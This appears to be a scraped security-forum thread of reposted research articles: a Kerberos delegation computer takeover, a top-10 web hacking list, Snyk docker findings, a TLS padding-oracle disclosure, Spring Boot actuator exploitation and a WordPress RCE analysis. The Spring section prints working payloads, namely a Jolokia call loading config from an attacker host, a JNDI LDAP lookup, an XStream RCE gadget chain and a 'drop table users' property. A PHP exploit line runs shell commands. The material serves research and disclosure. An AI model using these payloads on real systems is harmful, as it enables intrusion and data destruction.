SecurityIdentifier in the entry states that the computer account attackersystem$ has “AccessAllowed”. The relevant syntax for these commands are here. Let’s review: we’ve modified a special property of our target computer object (primary.testlab.local) to state that a computer account (TESTLAB\attackersystem$) is allowed to pretend to be anyone in the domain to the primary computer. Since we have the password of attackersystem$ (as we created it, again abusing MachineAccountQuota), we can authenticate as attackersystem$ and abuse the resource-constrained delegation process to compromise primary.testlab.local! In this case, we’re targeting the service name (sname) of cifs, the service that backs file system access. First let’s prove we don’t have access, and then get the RC4_HMAC hashed version of the password. Relevant syntax here. And thanks to Elad’s additions, we can execute this with a single Rubeus command. Relevant syntax here. Since PRIMARY$ is a domain controller, and the ldap service name backs the DCSync process, all we have to do is change the /msdsspn parameter from cifs/primary.testlab.local to ldap/primary.testlab.local if we wanted to DCSync instead. We can execute this for any service name (sname) we’d like to abuse. Once we’re done abusing the scenario, we can clean up with PowerView as well. Wrapup Elad’s post is one of the best that I’ve read in a long time. It’s filled with a ton of information and abuse scenarios that we’ll unpacking for a while as an industry. I strongly strongly recommend anyone who’s interested in these topics to start digesting Elad’s post- you’ll be that much better for it. I wanted to illustrate another example in this post to show how his research can be practically applied. We’re also in the process of updating the BloodHound schema, and hope to integrate these DACL based computer takeover primitives soon! Will Co-founder of Empire/BloodHound/Veil-Framework | PowerSploit developer | Microsoft PowerShell MVP | Security at the misfortune of others | http://specterops.io Sursa: https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783
  17. op 10 web hacking techniques of 2018 James Kettle | 27 February 2019 at 15:45 UTC The results are in! After an impressive 59 nominations followed by a community vote to pick 15 finalists, a panel consisting of myself and noted researchers Nicolas Grégoire, Soroush Dalili and Filedescriptor have conferred, voted, and selected the 10 most innovative new techniques that we think will withstand the test of time and inspire fresh attacks for years to come. We'll start at number 10, and count down towards the top technique of the year. 10. XS-Searching Google's bug tracker to find out vulnerable source code This blog post by Luan Herrera looks like a straightforward vulnerability write up, right up until he innovatively uses a browser cache timing technique to eliminate network latency from a notoriously unreliable technique, making it surprisingly practical. I think we can expect to see more XS-Search bugs in the future. 9. Data Exfiltration via Formula Injection In this blog post, Ajay and Balaji explore a number of techniques for exfiltrating data from spreadsheets in Google Sheets and LibreOffice. It might be less shiny than higher-ranked items, but this is practical, easily applicable research that will be invaluable for anyone looking to quickly prove the impact of a formula injection vulnerability. If you're wondering what malicious spreadsheets have to do with web security, check out Comma Separated Vulnerabilities. It's also worth mentioning that 2018 also brought us the first documented server-side formula injection. 8. Prepare(): Introducing novel Exploitation Techniques in WordPress WordPress is such a complex beast that exploiting it is increasingly becoming a stand-alone discipline. In this presentation, Robin Peraglie shares in-depth research of WordPress' misuse of double prepared statements, with a nice touch on PHP's infamous unserialize. 7. Exploiting XXE with local DTD files Attempts to exploit blind XXE often rely on loading external, attacker-hosted files and are thus sometimes thwarted by firewalls blocking outbound traffic from the vulnerable server. In a blog post described by Nicolas as 'how to innovate in a well-known field', Arseniy Sharoglazov shares a creative technique to avoid the firewall problem by using a local file instead. Although limited to certain XML parsers and configurations, when it works this technique could easily make the difference between a DoS and a full server compromise. It also provoked a follow up comment showing an even more flexible refinement. 6. It's A PHP Unserialization Vulnerability Jim But Not As We Know It It's been known in some circles for a while that harmless sounding file operations like file_exists() could be abused using PHP's phar:// stream wrapper to trigger deserialisation and obtain RCE, but Sam Thomas' whitepaper and presentation finally dragged it out into the light for good with a robust investigation of practical concerns and numerous exploitation case studies including our friend WordPress. 5. Attacking 'Modern' Web Technologies In which Frans Rosen shares some quality research showing that deprecated or not, you can abuse HTML5 AppCache for some wonderful exploits. He also discusses some interesting postMessage attacks exploiting client-side race conditions. 4. Prototype pollution attacks in NodeJS applications It's always great to see a language-specific vulnerability that doesn't affect PHP, and this research presented by Olivier Arteau at NorthSec is no exception. It details a novel technique to get RCE on NodeJS applications by using __proto__ based attacks that have previously only been applied to client-side applications. I suspect you could scan for this vulnerability by adding __proto__ as a magic word inside Backslash Powered Scanner, but be warned that this may semi-permanently take down vulnerable websites. 3. Beyond XSS: Edge Side Include Injection Continuing the theme of legacy web technologies getting a second wind as exploit vectors, Louis Dion-Marcil discovered that numerous popular reverse proxies sometimes let hackers abuse Edge Side Includes to give their XSS superpowers including SSRF. This quality research demonstrates numerous high impact exploit scenarios, and also proves it's more than just an XSS escalation technique, by enabling exploitation of HTML within JSON responses. 2. Practical Web Cache Poisoning: Redefining 'Unexploitable' This research by er James Kettle shows techniques to poison web caches with malicious content using obscure HTTP headers. I was naturally banned from voting/commenting on it, but the other panelists described it as 'excellent and extensive fresh research on an old topic', 'original and well executed research, with a very clear methodology', and 'simple yet beautiful'. I highly recommend taking a read, even if just so you can decide for yourself if I cheated my way to near-victory. 1. Breaking Parser Logic: Take Your Path Normalization off and Pop 0days Out! Orange Tsai has taken an attack surface many mistakenly thought was hardened beyond hope, and smashed it to pieces. His superb presentation shows how subtle flaws in path validation can be twisted with consistently severe results. The entire panel loved this research for its practicality, raw impact, and wide ranging fallout, affecting frameworks, standalone webservers, and reverse proxies alike. This is the second year running research by Orange has topped the board, so we'll be paying close attention during 2019! Runners up The huge number of nominations lead to a particularly brutal community vote this year, with numerous respectable pieces of research failing to make the shortlist. As such, if the top 10 leaves you clamouring for more you might want to peruse the entire nomination list as well as last year's top 10. What next? Looking ahead to next year, I'll try to make the community vote stage a bit slicker by doing a slightly stricter filter on nominations - in particular, I'll reject vulnerability writeups that purely apply known techniques in an unoriginal way. We'll also look into improving the vote UI, and perhaps allowing comments during voting so you can explain the reasoning behind your favourite research. This year's vote rolled around really quickly thanks to last year's occurring way behind schedule, but next year the process will be launched in January 2020. As usual, we're already open for nominations. Finally, I'd like to thank everyone in the community for your research, nominations, votes and patience. Till next year! James Kettle @albinowax Sursa: https://portswigger.net/blog/top-10-web-hacking-techniques-of-2018
      • 1
      • Upvote
  18. Top ten most popular docker images each contain at least 30 vulnerabilities February 26, 2019 | in Ecosystems, Open Source | By Liran Tal Welcome to Snyk’s annual State of Open Source Security report 2019. This report is split into several posts: Maven Central packages double; a quarter of a million new packages indexed in npm 88% increase in application library vulnerabilities over two years 81% believe developers should own security, but they aren’t well-equipped Open source maintainers want to be secure, but 70% lack skills Top ten most popular docker images each contain at least 30 vulnerabilities ReDoS vulnerabilities in npm spikes by 143% and XSS continues to grow 78% of vulnerabilities are found in indirect dependencies, making remediation complex Or download our lovely handcrafted pdf report which contains all of this information and more in one place. DOWNLOAD THE STATE OF OPEN SOURCE SECURITY REPORT 2019! Known vulnerabilities in docker images The adoption of application container technology is increasing at a remarkable rate and is expected to grow by a further 40% in 2020, according to 451 Research. It is common for system libraries to be available in many docker images, as these rely on a parent image that is commonly using a Linux distribution as a base. Docker images almost always bring known vulnerabilities alongside their great value We’ve scanned through ten of the most popular images with Snyk’s recently released docker scanning capabilities. The findings show that in every docker image we scanned, we found vulnerable versions of system libraries. The official Node.js image ships 580 vulnerable system libraries, followed by the others each of which ship at least 30 publicly known vulnerabilities. Snyk recently released its container vulnerability management solution to empower developers to fully own the security of their dockerized applications. Using this new capability, developers can find known vulnerabilities in their docker base images and fix them using Snyk’s remediation advice. Snyk suggests either a minimal upgrade, or alternative base images that contain fewer or even no vulnerabilities. Fix can be easy if you’re aware. 20% of images can fix vulnerabilities simply by rebuilding a docker image, 44% by swapping base image Based on scans performed by Snyk users, we found that 44% of docker image scans had known vulnerabilities, and for which there were newer and more secure base image available. This remediation advise is unique to Snyk. Developers can take action to upgrade their docker images. Snyk also reported that 20% of docker image scans had known vulnerabilities that simply required a rebuild of the image to reduce the number of vulnerabilities. Vulnerability differentiation based on image tag The current Long Term Support (LTS) version of the Node.js runtime is version 10. The image tagged with 10 (i.e: node:10) is essentially an alias to node:10.14.2- jessie (at the time that we tested it) where jessie specifies an obsolete version of Debian that is no longer actively maintained. If you had chosen that image as a base image in your Dockerfile, you’d be exposing yourself to 582 vulnerable system libraries bundled with the image. Another option is to use the node:10-slim image tag which provides slimmer images without unnecessary dependencies (for example: it omits the main pages and other assets). Choosing node:10-slim however would still pull in 71 vulnerable system libraries. Most vulnerabilities originate in the base image you selected. For that reason, remediation should focus on base image fixes The node:10-alpine image is a better option to choose if you want a very small base image with a minimal set of system libraries. However, while no vulnerabilities were detected in the version of the Alpine image we tested, that’s not to say that it is necessarily free of security issues. Alpine Linux handles vulnerabilities differently than the other major distros, who prefer to backport sets of patches. At Alpine, they prefer rapid release cycles for their images, with each image release providing a system library upgrade. Moreover, Alpine Linux doesn’t maintain a security advisory program, which means that if a system library has vulnerabilities, Alpine Linux will not issue an official advisory about it; Alpine Linux will mitigate the vulnerability by creating a new base image version including a new version of that library that fixes the issue, if one is available (as opposed to backporting as mentioned). There is no guarantee that the newer fixed version, of a vulnerable library will be immediately available on Alpine Linux, although that is the case many times. Despite this, if you can safely move to the Alpine Linux version without breaking your application, you can reduce the attack surface of your environment because you will be using fewer libraries. The use of an image tag, like node:10, is in reality an alias to another image, which constantly rotates with new minor and patched versions of 10 as they are released. A practice that some teams follow is to use a specific version tag instead of an alias so that their base image would be node:10.8.0-jessie for example. However, as newer releases of Node 10 are released, there is a good chance those newer images will include fewer system library vulnerabilities. Using the Snyk Docker scanning features we found that when a project uses a specific version tag such as node:10.8.0-jessie, we could then recommend newer images that contain fewer vulnerabilities. Known vulnerabilities in system libraries There is an increase in the number of vulnerabilities reported for system libraries, affecting some of the popular Linux distributions such as Debian, RedHat Enterprise Linux and Ubuntu. In 2018 alone we tracked 1,597 vulnerabilities in system libraries with known CVEs assigned for these distros, which is more than four times the number of vulnerabilities compared to 2017. As we look at the breakdown of vulnerabilities (high and critical) it is clear that this severity level is continuing to increase through 2017 and 2018. Continue reading: Maven Central packages double; a quarter of a million new packages indexed in npm 88% increase in application library vulnerabilities over two years 81% believe developers should own security, but they aren’t well-equipped Open source maintainers want to be secure, but 70% lack skills Top ten most popular docker images each contain at least 30 vulnerabilities ReDoS vulnerabilities in npm spikes by 143% and XSS continues to grow 78% of vulnerabilities are found in indirect dependencies, making remediation complex DOWNLOAD THE STATE OF OPEN SOURCE SECURITY REPORT 2019! Sursa: https://snyk.io/blog/top-ten-most-popular-docker-images-each-contain-at-least-30-vulnerabilities/
      • 1
      • Upvote
  19. TLS Padding Oracles The TLS protocol provides encryption, data integrity, and authentication on the modern Internet. Despite the protocol’s importance, currently-deployed TLS versions use obsolete cryptographic algorithms which have been broken using various attacks. One prominent class of such attacks is CBC padding oracle attacks. These attacks allow an adversary to decrypt TLS traffic by observing different server behaviors which depend on the validity of CBC padding. We evaluated the Alexa Top Million Websites for CBC padding oracle vulnerabilities in TLS implementations and revealed vulnerabilities in 1.83% of them, detecting nearly 100 different vulnerabilities. These padding oracles stem from subtle differences in server behavior, such as responding with different TLS alerts, or with different TCP header flags. We suspect the subtlety of different server responses is the reason these padding oracles were not detected previously. Full Technical Paper Robert Merget, Juraj Somorovsky, Nimrod Aviram, Craig Young, Janis Fliegenschmidt, Jörg Schwenk, Yuval Shavitt: Scalable Scanning and Automatic Classification of TLS Padding Oracle Vulnerabilities. USENIX Security 2019 The full paper will be presented at USENIX Security in August 2019. Who Is Affected? Since the identification of different vendors is fairly difficult and requires the cooperation of the scanned websites, a lot of our vulnerabilities are not attributed yet. On this Github page, we collect the current status of the responsible disclosure process and give an overview of the revealed vulnerabilities. The currently identified and fixed vulnerabilities are: OpenSSL. CVE-2019-1559. OpenSSL Security Advisory: 0-byte record padding oracle Citrix. CVE-2019-6485. TLS Padding Oracle Vulnerability in Citrix Application Delivery Controller (ADC) and NetScaler Gateway. F5. CVE-2019-6593. TMM TLS virtual server vulnerability CVE-2019-6593. The disclosure process is still running with a handful of vendors. Some of them consider to disable or even completely remove CBC cipher suites from their products. Recommendations for TLS Implementations Developers If you are developing a TLS implementation, this is obviously a good reminder to review your CBC code and make sure it does not expose a padding oracle; obviously, this is easier said than done. We therefore invite developers of TLS implementations to contact us in this matter. We will evaluate your implementation and if you are vulnerable, work with you to understand the nature of the vulnerability. (To be clear, we will do this free of charge). We will link the final version of our scanning tool detecting these vulnerabilities in the next days. Background Cipher Block Chaining (CBC) mode of operation The CBC mode of operation allows one to encrypt plaintexts of arbitrary length with block ciphers like AES or 3DES. In CBC mode, each plaintext block is XOR’ed to the previous ciphertext block before being encrypted by the block cipher. We simply refer to Wikipedia for more information. Padding oracle attacks exploit the CBC malleability. The problem of CBC is that it allows an attacker to perform meaningful plaintext modifications without knowing the symmetric key. More concretely, it allows an attacker to flip a specific plaintext bit by flipping a bit in the previous ciphtertext block. This CBC property has already been exploited in many attacks, for example, most recently in the Efail attack. CBC and its usage in the TLS record layer In order to protect messages (records) exchanged between TLS peers, it is possible to use different cryptographic primitives. One of them is a MAC combined with AES in CBC mode of operation. Unfortunately, TLS decided to use the MAC-then-PAD-then-Encrypt mechanism, which means that the encryptor first computes a MAC over the plaintext, then pads the message to achieve a multiple of block length, and finally uses AES-CBC to encrypt the ciphertext. For example, if we want to encrypt five bytes of data and use HMAC-SHA (with 20 bytes long output), we end up with two blocks. The second block needs to be padded with 7 bytes 0x06. Padding oracle attacks In 2002, Vaudenay showed that revealing padding failures after message decryption could have severe consequences for the security of the application. Since the CBC malleability allows an attacker to flip arbitrary message bytes, the attacker is also able to modify specific padding bytes. If the application decrypts the modified message and reports problems related to padding validity, the attacker is able to learn the underlying plaintext. We refer to this explanation by Erlend Oftedal for more details. In TLS, the attack is a bit more complex because the targeted TLS connection is always closed once invalid padding is triggered. Nevertheless, the vulnerability is practically exploitable in BEAST scenarios and allows the attacker to decrypt repeated secrets like session cookies. Therefore, it is very important that the TLS implementations do not reveal any information about padding validity. This includes different TLS alerts, connection states, or even timing behavior. Vulnerability Details OpenSSL (CVE-2019-1559) With the help of the Amazon security team, we identified a vulnerability which was mostly found on Amazon servers and Amazon Web Services (AWS). Hosts affected by this vulnerability immediately respond to most records with BAD_RECORD_MAC and CLOSE_NOTIFY alerts, and then close the connection. However, if the hosts encounter a zero-length record with valid padding and a MAC present, they do not immediately close the TCP connection, regardless of the validity of the MAC. Instead, they keep the connection alive for more than 4 seconds after sending the CLOSE_NOTIFY alert. This difference in behavior is easily observable over the network. Note that the MAC value does not need to be correct for triggering this timeout, it is sufficient to create valid padding which causes the decrypted data to be of zero length. Further investigations revealed that the Amazon servers were running an implementation which uses the OpenSSL 1.0.2 API. In some cases, the function calls to the API return different error codes depending on whether a MAC or padding error occurred. The Amazon application then takes different code paths based on these error codes, and the different paths result in an observable difference in the TCP layer. The vulnerable behavior only occurs when AES-NI is not used. Citrix (CVE-2019-6485) The vulnerable Citrix implementations first check the last padding byte and then verify the MAC. If the MAC is invalid, the server closes the connection. This is done with either a connection timeout or an RST, depending on the validity of the remaining padding bytes. However, if the MAC is valid, the server checks whether all other remaining padding bytes are correct. If they are not, the server responds with a BAD_RECORD_MAC and an RST (if they are valid, the record is well-formed and is accepted). This behavior can be exploited with an attack similar to POODLE. FAQ Can these vulnerabilities be exploited? Yes, but exploitation is fairly difficult. If you use one of the above implementations, you should still make sure you have patched. To be more specific, the attack can be exploited in BEAST scenarios. There are two prerequisites for the attack. First, the attacker must be able to run a script in the victim's browser which sends requests to a vulnerable website. This can be achieved tempting the victim to visit a malicious website. Second, the attacker must be able to modify requests sent by the browser and observe the server behavior. The second prerequisite is much harder to achieve, because the attacker must be an active Man-in-the-Middle. Have these vulnerabilities actually been exploited? We have no reason to believe these vulnerabilities have been exploited in the wild so far. I used a vulnerable implementation. Do I need to revoke my certificate? No, this attack does not recover the server's private key. Do I need to update my browser? No. These are server-side vulnerabilities, and can only be fixed by deploying a fix on the server. How many implementations are vulnerable? Our Alexa scans identified more than 90 different server behaviors triggered in our padding oracle scans. Some of them will probably be caused by outdated servers. However, we assume many of the newest servers will need fixes. How is this related to previous research? In 2002, Vaudenay presented an attack which targets messages encrypted with the CBC mode of operation. The attack exploits the malleability of the CBC mode, which allows altering the ciphertext such that specific cleartext bits are flipped, without knowledge of the encryption key. The attack requires a server that decrypts a message and responds with 1 or 0 based on the message validity. This behavior essentially provides the attacker with a cryptographic oracle which can be used to mount an adaptive chosen-ciphertext attack. The attacker exploits this behavior to decrypt messages by executing adaptive queries. Vaudenay exploited a specific form of vulnerable behavior, where implementations validate the CBC padding structure and respond with 1 or 0 accordingly. This class of attacks has been termed padding oracle attacks. Different types of CBC padding oracles have been used to break the confidentiality of TLS connections. These include Lucky Thirteen, Lucky Microseconds, Lucky 13 Strikes Back, and Ronen et al. Another important attack is POODLE (Padding Oracle On Downgraded Legacy Encryption) which targets SSLv3 and its specific padding scheme. In SSLv3 only the last padding byte is checked. Möller, Duong and Kotowicz exploited this behavior and showed that for implementation it is necessary to correctly verify all padding bytes. Similar behaviors were found in several TLS implementations. How is it possible that such an old vulnerability is still present in 2019? Writing this code correctly is very hard, even for experts. For example, in one instance experts have introduced a severe form of this vulnerability while attempting to patch the code to eliminate it. Identifying these vulnerabilities is also hard since some of them only manifest under a combination of specific conditions. For example, the OpenSSL vulnerability only manifests in OpenSSL version 1.0.2, only for non-stitched [1] cipher suites, when AES-NI is not used. It also requires subtle interactions between external code that calls the OpenSSL API, and the OpenSSL code itself. We take this opportunity to suggest deprecating CBC cipher suites in TLS altogether. [1]: Stitched ciphersuites is an OpenSSL term for optimised implementations of certain commonly used ciphersuites. See here for more details. Why are you not submitting your findings via BugBounty websites? We tried to get in contact with security teams via common BugBounty sites but had very bad experiences. Man-in-the-Middle attacks are usually out of scope for most website owners, and security teams did not know how to deal with this kind of issue. We lost a lot of "Points" on Hackerone and BugCrowd for reporting such issues (with the intention to learn the vendor) and learned absolutely nothing by doing this. All in all a very frustrating experience. We hope that our new approach of disclosure is more useful to get in contact with developers and vendors. Can this attack be used against Bitcoin? No. This attack is based on the vulnerability present in the Cipher Block Chaining (CBC) mode of operation. Bitcoin does not use CBC. However, if you are a blockchain designer, we strongly recommend you to evaluate the security of your block chaining technology and, especially, its padding scheme. Do you have a name or a logo for this vulnerability? No. Sorry, not this time. Sursa: https://github.com/RUB-NDS/TLS-Padding-Oracles
      • 2
      • Upvote
  20. Exploiting Spring Boot Actuators By Michael Stepankin Research Share this article: The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured. When a Spring Boot application is running, it automatically registers several endpoints (such as '/health', '/trace', '/beans', '/env' etc) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers. The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities: /dump - displays a dump of threads (including a stack trace) /trace - displays the last several HTTP messages (which could include session identifiers) /logfile - outputs the contents of the log file /shutdown - shuts the application down /mappings - shows all of the MVC controller mappings /env - provides access to the configuration environment /restart - restarts the application For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path. Exploitation: Most of the actuators support only GET requests and simply reveal sensitive configuration data, but several of them are particularly interesting for shell hunters: 1. Remote Code Execution via '/jolokia' If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the '/jolokia' actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL: http://127.0.0.1:8090/jolokia/list Again, most of the MBeans actions just reveal some system data, but one is particularly interesting: The 'reloadByURL' action, provided by the Logback library, allows us to reload the logging config from an external URL. It could be triggered just by navigating to: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml So, why should we care about logging config? Mainly because of two things: Config has an XML format, and of course, Logback parses it with External Entities enabled, hence it is vulnerable to blind XXE. The Logback config has the feature 'Obtaining variables from JNDI'. In the XML file, we can include a tag like '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full Remote Code Execution. How it works: 1. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class. 2. The 'reloadByURL' function downloads a new config from http://artsploit.com/logback.xml and parses it as a Logback config. This malicious config should have the following content: <configuration> <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" /> </configuration> 3. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the “env-entry-name” parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an execution of the supplied bytecode on the target application. JNDI attacks are well explained in this MicroFocus research paper. The new JNDI exploitation technique (described previously in our blog) also works here, as Tomcat is the default application server in the Spring Boot Framework. 2. Config modification via '/env' If Spring Cloud Libraries are in the classpath, the '/env' endpoint allows you to modify the Spring environmental properties. All beans annotated as '@ConfigurationProperties' may be modified and rebinded. Many, but not all, properties we can control are listed on the '/configprops' actuator endpoint. Actually, there are tons of them, but it is absolutely not clear what we need to modify to achieve something. After spending a couple of days playing with them we found this: POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath (it is normally included in Spring Cloud Netflix), you can exploit the XStream deserialization vulnerability in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL ( http://artsploit.com/n/xstream) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content: <linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString> </linked-hash-set> This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints. Using Spring Actuators, you can actually exploit this vulnerability even if you don't have access to an internal Eureka server; you only need an "/env" endpoint available. Other useful settings: spring.datasource.tomcat.validationQuery=drop+table+users - allows you to specify any SQL query, and it will be automatically executed against the current database. It could be any statement, including insert, update, or delete. exploiting_spring_boot_actuators_drop_table.png spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - allows you to modify the current JDBC connection string. The last one looks great, but the problem is when the application running the database connection is already established, just updating the JDBC string does not have any effect. Hopefully, there is another property that may help us in this case: spring.datasource.tomcat.max-active=777 The trick we can use here is to increase the number of simultaneous connections to the database. So, we can change the JDBC connection string, increase the number of connections, and after that send many requests to the application to simulate heavy load. Under the load, the application will create a new database connection with the updated malicious JDBC string. I tested this technique locally agains Mysql and it works like a charm. exploiting_spring_boot_actuators_max_active.png Apart from that, there are other properties that look interesting, but, in practice, are not really useful: spring.datasource.url - database connection string (used only for the first connection) spring.datasource.jndiName - databases JNDI string (used only for the first connection) spring.datasource.tomcat.dataSourceJNDI - databases JNDI string (not used at all) spring.cloud.config.uri=http://artsploit.com/ - spring cloud config url (does not have any effect after app start, only the initial values are used.) These properties do not have any effect unless the '/restart' endpoint is called. This endpoint restarts all ApplicationContext but its disabled by default. There are a lot of other interesting properties, but most of them do not take immediate effect after change. N.B. In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different (it uses json format instead), but the idea is the same. An example of the vulnerable app: If you want to test this vulnerability locally, I created a simple Spring Boot application on my Github page. All payloads should work there, except for database settings (unless you configure it). Black box discovery: A full list of default actuators may be found here: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Keep in mind that application developers can create their own endpoints using @Endpoint annotation. Sursa: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
      • 1
      • Upvote
  21. imagecolormatch() OOB Heap Write exploit Info My binary exploit for CVE-2019-6977. Bug found by Simon Scannell from RIPS. PHP bug is here. Helps you bypass PHP's disable_functions INI directive. I commented a lot to help people that are new to binary PHP exploitation. Hope this helps. Output GET http://target.com/exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi Nenuphar.ce: 0x7fe834a10018 Nenuphar2.ce: 0x7fe834a10d70 Nenuphar.properties: 0x7fe834a01230 z.val: 0x7fe834aaea18 Difference: 0xad7e8 Exploit SUCCESSFUL ! Sursa: https://github.com/cfreal/exploits/tree/master/CVE-2019-6977-imagecolormatch
  22. Analyzing WordPress Remote Code Execution Vulnerabilities CVE-2019-8942 and CVE-2019-8943 Posted on:February 26, 2019 at 7:24 am Posted in:Exploits, Vulnerabilities Author: Trend Micro by Suraj Sahu and Jayesh Patel (Vulnerability Researchers) With its open-source, feature-rich, and user-friendly content management system (CMS), WordPress powers nearly 33 percent of today’s websites. This popularity is also what makes them an obvious cybercriminal target. All it could take is a vulnerability to gain a foothold on a website’s sensitive data. This could be compounded by security issues that can be brought by outdated websites or use of unsecure third-party plugins or components. On February 19, 2019, Simon Scannell of RIPS Technologies published his findings on core vulnerabilities in WordPress that can lead to remote code execution (RCE). These have been assigned as CVE-2019-8942 and CVE-2019-8943. In a nutshell, these security flaws, when successfully exploited, could enable attackers with at least author privileges to execute hypertext preprocessor (PHP) code and gain full system control. Affected versions of WordPress include versions 5 (prior to 5.0.1) and 4 (prior to 4.9.9). The vulnerabilities have also been disclosed to WordPress’ security team. This blog post expounds the technical details of the vulnerabilities, specifically, how a potential attack could look like and the parameters that are added to take advantage of a vulnerable WordPress site. Vulnerability analysis and attack chain An attacker with author privileges can upload PHP code embedded in an image file to a WordPress site. The uploaded file will get saved in the wp-content/uploads folder; an entry of this file will also be saved in the database’s postmeta table. Figure 1. Screenshot showing how CVE-2019-8942 could be exploited By exploiting CVE-2019-8942, an attacker can modify the _wp_attached_file meta_key (used to retrieve a value saved from the database and display it) to an arbitrary value. Exploiting the vulnerability requires sending the crafted post an edit request. A benign request typically would not have a file parameter in the request. An attacker-crafted request can have a file parameter that allows hackers to update the _wp_attached_file meta_key. As shown in Figure 3, the same can also be observed in the database table. Figure 2. Screenshot showing how an especially crafted PHP file is embedded (highlighted) Figure 3. Screenshot showing a modified file name in the database (highlighted) Patched versions of WordPress (before 4.9.9 and 5.0.1) do not have checks to validate which MetaData fields are going to get updated through a request. Attackers could take advantage of this to update or alter the _wp_attached_file meta_key value to an arbitrary one. In the patched versions, the new function _wp_get_allowed_postdata() in admin/includes/post.php was added to check if “file”, “meta_input” or “guid” are sent in the edit request and removed before updating the POST request. Figure 3 shows that exploiting CVE-2019-8942 can let hackers modify the file name in the database akin to a path traversal (e.g., evil1.jpg?../and ../evil1.jpg). An attacker can chain the exploit of CVE-2019-8942 with another, this time exploiting CVE-2019-8943. The latter can let attackers move the uploaded file to an arbitrary directory where the embedded PHP code can get executed successfully. Figure 4 shows what CVE-2019-8943 entails. In the wp_crop_image function (which lets WordPress users crop images to a given size or resolution) in wp-admin/includes/image.php doesn’t validate the .dst (a drawing sheet file) file path before the saving the file. Figure 4. Screenshot showing the wp_crop_image function not validating .dst file path Figure 5. How the wp_crop_image function tries to access the file locally In a possible attack scenario, once the file name in meta_key is modified, the file (e.g., evil1.jpg?../and ../evil1.jpg in Figure 3) will not be found in the upload directory. Hence, it will fall back to the next If condition in the wp_crop_image function where it will try to access the file by URL. It requires file replication plugins to be installed in the WordPress site. The request will look something like this: hxxps[:]//vulenrablewesbite/wp-content/uploads/evil1.jpg?../../evil1.jpg While loading the image, it will ignore the path after “?” and the image will be loaded successfully. An attacker will crop the image, and while saving, it will follow the path traversal and save it in an arbitrary directory. Caveats and best practices Patching CVE-2019-8942 makes CVE-2019-8943 non-exploitable, as the former plays an essential part in successfully exploiting the latter. That’s because the meta_key in _wp_attached_file first needs to be updated or modified to a path traversal file name before it can execute an embedded PHP code. More importantly, these vulnerabilities highlight the importance for developers to practice security by design, and for administrators to adopt security hygiene to reduce their website’s attack surface. Regularly update the CMS or employ virtual patching to address vulnerabilities for which patches are not yet available and on systems that need to be constantly up and running. Consistently vet the website and its infrastructure or components against exploitable vulnerabilities. Enforce the principle of least privilege, and disable or delete outdated or vulnerable plugins. The Trend Micro Deep Security™ solution protects user systems from threats that might exploit CVE-2019-8942 and CVE-2019-8943 via the following deep packet inspection (DPI) rules: 1005933 – Identified Directory Traversal Sequence In Uri Query 1009544 – WordPress Image Remote Code Execution Vulnerability (CVE-2019-8942) Trend Micro™ TippingPoint™ customers are protected from these vulnerabilities via this MainlineDV filter: 34573 – HTTP: WordPress 5.0.0 File Inclusion Vulnerability 34578 – HTTP: WordPress Image Remote Code Execution Vulnerability Sursa: 